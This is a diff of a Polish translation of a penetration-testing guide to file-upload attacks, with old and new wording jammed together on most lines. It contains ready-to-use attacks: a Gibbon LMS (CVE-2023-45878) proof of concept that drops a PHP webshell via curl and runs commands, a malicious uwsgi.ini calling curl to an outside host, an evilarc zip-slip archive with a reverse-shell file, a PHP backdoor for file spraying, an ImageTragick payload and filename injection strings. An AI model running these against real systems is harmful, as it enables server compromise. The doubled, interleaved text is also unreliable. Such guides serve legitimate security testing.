- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. - Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Inne sztuczki do sprawdzenia ### Other Tricks to check
- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (w celu zmiany extension). - Znajdź podatność pozwalającą **rename** pliku już przesłanego (aby zmienić extension).
- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor. - Znajdź **Local File Inclusion** podatność aby uruchomić backdoor.
- **Możliwe ujawnienie informacji**: - **Możliwe ujawnienie informacji**:
1. Wgraj **kilka razy** (i w tym **samym czasie**) ten **sam plik** o **tej samej nazwie** 1. Upload **kilka razy** (i w tym **samym czasie**) tego **samego pliku** o **tej samej nazwie**
2. Wgraj plik z **nazwą** pliku lub **folderu**, który **już istnieje** 2. Załaduj plik o **nazwie** pliku lub folderu, który **już istnieje**
3. Wgrywanie pliku o nazwie ".", ".." lub "..." . Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w "/www/uploads/" katalogu, nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/". 3. Wgrywanie pliku o nazwie **"." , "..", or "…"**. Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje uploady w katalogu "/www/uploads/", nazwa pliku "." stworzy plik o nazwie
4. Wgraj plik, którego może być trudno się pozbyć, na przykład **"…:.jpg"** w **NTFS**. (Windows) uploads” w katalogu "/www/".
5. Wgraj plik w **Windows** z **nieważelnymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows) 4. Wgraj plik, który może być trudno usunąć, taki jak **"…:.jpg"** w **NTFS**. (Windows)
6. Wgraj plik w **Windows** używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 oraz LPT9. 5. Wgraj plik w **Windows** z **invalid characters** takimi jak `|<>*?”` w jego nazwie. (Windows)
- Spróbuj też przesłać **pliki wykonywalne** (.exe) lub **.html** (mniej podejrzane), które **wykona kod** po przypadkowym otwarciu przez ofiarę. 6. Wgraj plik w **Windows** używając **reserved** (**forbidden**) **names** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Spróbuj również **upload an executable** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** gdy zostanie przypadkowo otwarty przez ofiarę.
### Specjalne sztuczki z rozszerzeniami ### Special extension tricks
Jeśli próbujesz przesłać pliki na **PHP server**, [sprawdź trik z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ Jeżeli próbujesz uploadować pliki na **PHP server**, [zobacz sztuczkę z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Jeśli próbujesz przesłać pliki na **ASP server**, [sprawdź trik z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Jeżeli próbujesz uploadować pliki na **ASP server**, [zobacz sztuczkę z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php lub include'owane w skrypcie...). Pliki `.phar` są jak `.jar` dla java, ale dla php, i mogą być **używane jak plik php** (wykonywane z php, lub includowane w skrypcie...)
Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko importowane, więc możliwe, że ktoś zezwolił na **wykonywanie tego rozszerzenia**. Rozszerzenie `.inc` jest czasami używane dla php files, które są jedynie używane do **import plików**, więc, w pewnym momencie, ktoś mógł pozwolić na **wykonywanie tego extension**.
## **Jetty RCE** ## **Jetty RCE**
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Zatem, jak pokazano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shel'a! Jeśli możesz uploadować plik XML na Jetty server, możesz uzyskać [RCE ponieważ **nowe *.xml and *.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, wyślij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,9 +137,9 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE poniew
Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities mogą być wykorzystane na serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI korzystają ze specyficznej składni pozwalającej na "magic" zmienne, placeholdery i operatory. W szczególności operator '@', używany jako `@(filename)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny — pozwala czytać dane ze standardowego wyjścia procesu. Ta funkcja może być zmanipulowana do złośliwych celów, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik `.ini`. Remote Command Execution (RCE) podatności mogą być exploitowane na uWSGI servers jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magic" zmiennych, placeholderów i operatorów. W szczególności operator '@', używany jako `@(filename)`, jest zaprojektowany do includowania zawartości pliku. Wśród różnych wspieranych schem w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na czytanie danych z stdout procesu. Ta funkcja może być zmanipulowana dla złośliwych celów takich jak Remote Command Execution lub Arbitrary File Write/Read gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ następujący przykład złośliwego pliku `uwsgi.ini`, pokazujący różne schematy: Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, ukazujący różne schematy:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -156,14 +157,55 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
Wykonanie payload ma miejsce podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub w wyniku ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po crashu lub w wyniku Denial of Service attack) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Kluczowe jest zrozumienie luźnej natury parsowania plików konfiguracyjnych uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania. Konieczne jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload można wstawić do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
## **wget Przesyłanie plików/SSRF sztuczka** ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tego sprawdzenia można obejść.**\ Nieautoryzowany endpoint w Gibbon LMS pozwala na arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE przez upuszczenie pliku PHP. Wrażliwe wersje: do i włącznie 25.0.01.
Maksymalna długość **nazwa pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dopuszczalnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (serwer ignoruje typ/nazwę, dekoduje zakodowaną w base64 część)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Minimalny PoC do zapisania i ponownego odczytania pliku:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Wgraj minimalny webshell i wykonaj polecenia:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notatki:
- Handler wykonuje `base64_decode($_POST["img"])` po podzieleniu po `;` i `,`, a następnie zapisuje bajty do `$absolutePath . '/' . $_POST['path']` bez walidacji rozszerzenia/typu.
- W rezultacie kod uruchamia się jako użytkownik serwera WWW (np. XAMPP Apache on Windows).
Odnośniki do tego buga obejmują advisory usd HeroLab oraz wpis w NVD. Zobacz sekcję References poniżej.
## **wget File Upload/SSRF Trick**
W niektórych przypadkach możesz natrafić na serwer, który używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranego pliku znajduje się na whitelist, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tę kontrolę można obejść.**\
The **maksymalna** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **pobrać plik o nazwie "A"*232+".php"+".gif"**, ta nazwa pliku **obejdzie** the **check** (jak w tym przykładzie **".gif"** jest **valid** rozszerzeniem) ale `wget` **zmieni nazwę** pliku na **"A"*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,33 +228,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. Zwróć uwagę, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby HTTP server przekierował do innego pliku, więc początkowy URL ominie sprawdzenie, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest użyty z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**.
## Narzędzia ## Narzędzia
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesters i Bug Hunters w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i eksploatacji podatności, zapewniając dokładne oceny aplikacji webowych.
### Corrupting upload indices with snprintf quirks (historical) ### Corrupting upload indices with snprintf quirks (historical)
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. Niektóre przestarzałe handlery przesyłania plików, które używają `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu pliku, mogą zostać oszukane do sfałszowania struktury `_FILES`. Z powodu niekonsekwencji i obcinania w zachowaniu `snprintf()`, starannie spreparowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, wprowadzając w błąd logikę zakładającą sztywną strukturę (np. traktując ją jako upload wielu plików i wybierając niebezpieczne gałęzie). Choć dziś niszowy, wzorzec “index corruption” czasem pojawia się ponownie w CTFs i starszych bazach kodu.
## From File upload to other vulnerabilities ## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** - Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** - Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS - Ustaw **filename** na `<svg onload=alert(document.domain)>` aby wywołać **XSS**
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) - Ustaw **filename** na `; sleep 10;` aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - Jeśli możesz wskazać web server, aby pobrał obraz z URL, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **image** zostanie **saved** w jakimś **public** serwisie, możesz też wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. - Specjalnie spreparowane PDFy do XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować jakiś PDF, który wykona arbitralny JS zgodnie z podanymi wskazówkami.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files - Sprawdź, czy istnieje jakieś **size limit** przy wysyłaniu plików
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -239,32 +281,32 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"` - **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików.
## Zip/Tar File Automatically decompressed Upload ## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: Jeśli możesz przesłać ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić dwie rzeczy:
### Symlink ### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: Prześlij archiwum zawierające linki symboliczne do innych plików, wtedy po dostępie do zdekompresowanych plików uzyskasz dostęp do plików wskazywanych przez te linki:
``` ```
ln -s ../../../index.php symindex.txt ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### Rozpakowywanie do różnych folderów ### Dekompresja do różnych folderów
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, hierarchical compression support i możliwości directory traversal formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i uciec z secure upload directories, manipulując funkcją dekompresji aplikacji docelowej. Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, wsparcie dla hierarchicznej kompresji i directory traversal capabilities of the ZIP archive format mogą zostać wykorzystane. To pozwala atakującym obejść ograniczenia i wydostać się z secure upload directories, manipulując funkcjonalnością dekompresji atakowanej aplikacji.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób: Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania. Ponadto opcją jest **symlink trick with evilarc**. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć w systemie symlink do tego pliku. Zapewni to, że evilarc nie napotka błędów podczas działania.
Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip: Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip:
```python ```python
@ -272,6 +314,7 @@ Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwe
import zipfile import zipfile
from io import BytesIO from io import BytesIO
def create_zip(): def create_zip():
f = BytesIO() f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -284,11 +327,11 @@ zip.close()
create_zip() create_zip()
``` ```
**Nadużywanie kompresji do file sprayingu** **Wykorzystywanie kompresji do file spraying**
Szczegóły: **zobacz oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: Kod PHP jest napisany tak, aby wykonywać polecenia przekazane przez zmienną `$_REQUEST`. 1. **Tworzenie PHP Shell**: Kod PHP zostaje napisany tak, aby wykonywał polecenia przekazane przez zmienną `$_REQUEST`.
```php ```php
<?php <?php
@ -298,24 +341,24 @@ system($cmd);
}?> }?>
``` ```
2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików, a następnie składany jest plik zip zawierający te pliki. 2. **File Spraying i tworzenie skompresowanego pliku**: Tworzonych jest wiele plików, a następnie składany jest archiwum zip zawierające te pliki.
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php root@s2crew:/tmp# zip cmd.zip xx*.php
``` ```
3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zipa są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów wyżej. 3. **Modyfikacja przy użyciu edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz zip są zmieniane przy użyciu vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów nadrzędnych.
```bash ```bash
:set modifiable :set modifiable
:%s/xxA/..\//g :%s/xxA/../g
:x! :x!
``` ```
## ImageTragic ## ImageTragic
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (z [exploit](https://www.exploit-db.com/exploits/39767)) Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (od [exploit](https://www.exploit-db.com/exploits/39767))
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
@ -324,31 +367,31 @@ pop graphic-context
``` ```
## Osadzanie PHP Shell w PNG ## Osadzanie PHP Shell w PNG
Osadzenie PHP shell w sekcji IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplingu obrazów. Zdolność osadzonego PHP shell do pozostania nienaruszonym przez te operacje stanowi znaczącą zaletę w pewnych przypadkach użycia. Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostanie nienaruszony przez te operacje, stanowi znaczącą zaletę w określonych przypadkach użycia.
Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał zapewnia kompleksowe zrozumienie procesu i jego implikacji. Szczegółowe omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) Więcej informacji: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Pliki polyglot ## Pliki polyglot
Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są także kombinacje typu GIF i JS lub PPT i JS. Pliki polyglot działają jak kameleony w cybersecurity, mogąc poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda funkcjonująca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS czy PPT i JS.
Główną przydatnością plików polyglot jest ich zdolność do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — jak JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może podstępnie ominąć te ograniczenia. Główna użyteczność plików polyglot polega na ich zdolności do obejścia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w wielu aplikacjach jest zezwalanie tylko na określone typy plików przy uploadzie — np. JPEG, GIF czy DOC — aby zredukować ryzyko wynikające z potencjalnie niebezpiecznych formatów (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może dyskretnie obejść te ograniczenia.
Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie pełnić funkcję pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zapewnić jego przesłanie. Mimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do zatwierdzenia uploadu.
